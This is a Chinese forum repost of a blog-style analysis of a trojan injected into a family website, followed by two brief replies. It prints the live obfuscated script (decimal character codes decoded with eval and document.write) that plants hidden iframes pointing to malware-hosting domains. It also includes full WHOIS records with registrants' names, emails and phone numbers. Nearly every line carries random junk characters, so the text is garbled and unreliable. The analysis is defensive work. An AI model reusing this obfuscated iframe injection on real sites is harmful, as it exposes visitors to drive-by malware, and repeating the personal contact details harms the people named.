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[原创]一篇刚写的分析木马手记

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所在楼道

首发在我的博客里面, {oeQK   
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http://www.areway.cn/?p=175 WX"M_=lc-@  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: }=4".V`-o  
          BJr Nbo;T  
<script>t=’60,105,102,114,97,109,101, =D$r5D/xd  
32,115,114,99,61,104,116,116,112,58,47,47, `t2! M\)  
102,114,101,101,46,117,45,117,117,117,46,99, tqC#_[~7  
110,47,101,114,114,111,114,46,104,116,109, ,gD i)]  
32,119,105,100,116,104,61,49,48,48,32,104,  kS9  
101,105,103,104,116,61,48,62,60,47,105,102, d7gSkna`5c  
114,97,109,101,62′; |mA*[?ye@  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> bJ}+<##  
                                                                                                  &N nMz9  
<script>t=’60,105,102,114,97,109,101,32,115, hY9u#3  
114,99,61,104,116,116,112,58,47,47,102,114, )ISTb  
101,101,46,117,45,117,117,117,46,99,110,47, h2 <$L  
101,114,114,111,114,46,104,116,109,32,119, 4(ZV\}j1  
105,100,116,104,61,49,48,48,32,104,101,105, >GRuS\B  
103,104,116,61,48,62,60,47,105,102,114,97, %c{)'X  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); K.zs;^  
document.write(t);</script> ,Ou)F;r  
                                                                                                  EHjhe z  
<html xmlns=” :]jtV~E\  
http://www.w3.org/1999/xhtml g"f^YEQ_  
“> o`0H(\en  
<head> [RuY'  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> $^>vJk<  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> /HD2F_XA  
<title>首页 - 爱生活家庭网 \Y p oJ!-  
                                                                                                                                                    ~5529  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 Ey%NqOs0#  
转换字符串后的大概内容是(谁点击后果自付): @]4s&;  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… |&Wo-;Ud  
                                                                                                                                  y9<Fv|Ric  
查询玉米u-uuu.cn的详细信息: rJwJ5U  
Domain Name: u-uuu.cn )YnN9"8  
ROID: 20070901s10001s64972306-cn mYX) =B{  
Domain Status: ok Lo4t:H&  
Registrant Organization: 王雷 h^,a 1'  
Registrant Name: 王雷 n4,J#h/  
Administrative Email: czlovexs@126.com %9M49 s  
Sponsoring Registrar: 北京万网志成科技有限公司 x$I>e  
Name Server:ns.yovole.com iDJ2dM}v  
Name Server:ns1.yovole.com u> Hx#R<*%  
Registration Date: 2007-09-01 17:54 {D< ?.'  
Expiration Date: 2008-09-01 17:54 wl9icrR>  
最后PING了一下地址 都没有什么…. " Xc=<rX  
                                                                                                Bw[VK7  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. r>o6}Mx$  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 5<poN)"  
<script language=”javascript” src=” 2T5ZbXc+x  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script {\I \4P  
> [j39A`t7 o  
这个玉米应该有可能是木马作者的: KG@hjO  
foafau.info的详细信息: L4%LE/t|e  
Access to INFO WHOIS information is provided to assist persons in jRc#>;dN  
determining the contents of a domain name registration record in the Yw0@O1Cel  
Afilias registry database. The data in this record is provided by RqR  X  
Afilias Limited for informational purposes only, and Afilias does not {wySH[V  
guarantee its accuracy.  This service is intended only for query-based cyyFIJj]  
access. You agree that you will use this data only for lawful purposes )-gyDA  
and that, under no circumstances will you use this data to: (a) allow, V-0Y~T  
enable, or otherwise support the transmission by e-mail, telephone, or g= 8e.Y*Fr  
facsimile of mass unsolicited, commercial advertising or solicitations ?Fu.,srt  
to entities other than the data recipient’s own existing customers; or > { Q2S  
(b) enable high volume, automated, electronic processes that send 3&f{lsLAC  
queries or data to the systems of Registry Operator, a Registrar, or 8pk">"#s  
Afilias except as reasonably necessary to register domain names or XlPy(>  
modify existing registrations. All rights reserved. Afilias reserves \&0NH=*^  
the right to modify these terms at any time. By submitting this query, %3wK.tR  
you agree to abide by this policy. ^gImb`<6-  
Domain ID:D22418703-LRMS Dlp::U*N'  
Domain Name:FOAFAU.INFO M*%Z5,Tc  
Created On:20-Nov-2007 16:05:42 UTC ;C'*Ui  
Last Updated On:20-Nov-2007 16:05:44 UTC +,,~ <Vm  
Expiration Date:20-Nov-2008 16:05:42 UTC !WXSrICX[  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) /2(F  
Status:CLIENT DELETE PROHIBITED t|%ul6{gz  
Status:CLIENT RENEW PROHIBITED PH.v3 3K  
Status:CLIENT TRANSFER PROHIBITED =UN:IzT  
Status:CLIENT UPDATE PROHIBITED f{0PLFj  
Status:TRANSFER PROHIBITED Tec6]  :  
Registrant ID:GODA-040110615 zuw6YY8kQ  
Registrant Name:liu hong :O2N'vl47A  
Registrant Organization: XT)@)c7j  
Registrant Street1:beijing :M16ijkx  
Registrant Street2: "- AiC6u  
Registrant Street3: ?FyA2q!  
Registrant City:beijing wB@A?&UY  
Registrant State/Province: ,O(uuq  
Registrant Postal Code:100000 ryP z q}#  
Registrant Country:CN p{Uro!J,K  
Registrant Phone:+86.860108888777 S3w? X  
Registrant Phone Ext.: lU maNZ  
Registrant FAX: %?ad.F+7  
Registrant FAX Ext.: :v`o="  
Registrant Email:bbbshiji@163.com gueCP+a_  
Admin ID:GODA-240110615 L-yC'C  
Admin Name:liu hong E@p9vf->  
Admin Organization: u-,=C/iU  
Admin Street1:beijing ^)WG c/  
Admin Street2: }/|1"D  
Admin Street3: rnUe/HjH  
Admin City:beijing t V</ x0#  
Admin State/Province: }I"^WCyH  
Admin Postal Code:100000 (Q&Z/Fe  
Admin Country:CN C'Q} Z_  
Admin Phone:+86.860108888777 NR" Xn7G  
Admin Phone Ext.: >U z3F7nHi  
Admin FAX: P:G^@B3^  
Admin FAX Ext.: /KkUCq2A  
Admin Email:bbbshiji@163.com A#}IbcZ|b  
Billing ID:GODA-340110615 'a}pWkLB  
Billing Name:liu hong 8Pq|jK "  
Billing Organization: c ;VW>&,B  
Billing Street1:beijing _ . _'\  
Billing Street2: U:H*b{`TU  
Billing Street3: 1jR<H$aS  
Billing City:beijing 6v-h!1p{u  
Billing State/Province: YvonZ  
Billing Postal Code:100000 p 4=^ UP  
Billing Country:CN ] '..G-  
Billing Phone:+86.860108888777 umY4tNe]$  
Billing Phone Ext.: o}BaZ|iZ2  
Billing FAX: OvkYzI`  
Billing FAX Ext.: yfj<P/aA+  
Billing Email:bbbshiji@163.com u7K0m! jW  
Tech ID:GODA-140110615 rR xqV?>n!  
Tech Name:liu hong ebf0;1!  
Tech Organization: qbjRw!2?w  
Tech Street1:beijing o4xZaF4+  
Tech Street2: : 7'anj  
Tech Street3: \O[Cae:^?  
Tech City:beijing n,`&f~tap  
Tech State/Province: `3~w#?+=*  
Tech Postal Code:100000 |2Q;SaI^\  
Tech Country:CN uTQ/_$  
Tech Phone:+86.860108888777 q*>`HTPcU  
Tech Phone Ext.: mU;TB%#)  
Tech FAX: yA~W|q(/V  
Tech FAX Ext.: N7XRk= J  
Tech Email:bbbshiji@163.com &@y W< <  
Name Server:NS27.DOMAINCONTROL.COM g94NU X  
Name Server:NS28.DOMAINCONTROL.COM Y`%:hvy~  
Name Server: YkTEAI|i  
Name Server: _95V"h  
Name Server: f -bVcWI  
Name Server: H'+P7*k#M  
Name Server: !I@"+oY<  
Name Server: mAz':R[  
Name Server: }2}hH0R  
Name Server: *+5AN306  
Name Server: CQS34&G$a  
Name Server: YDP<  
Name Server: D+tn<\LF  
                                                                                                          )!'SSVaRs  
接着下载每个文件里面的代码: @X:P`?("^  
一步一步看.. bV}43zI.  
vI4St;  
t ;(kSg.  
wJip{  
{{j?3O//  
.hU ndg  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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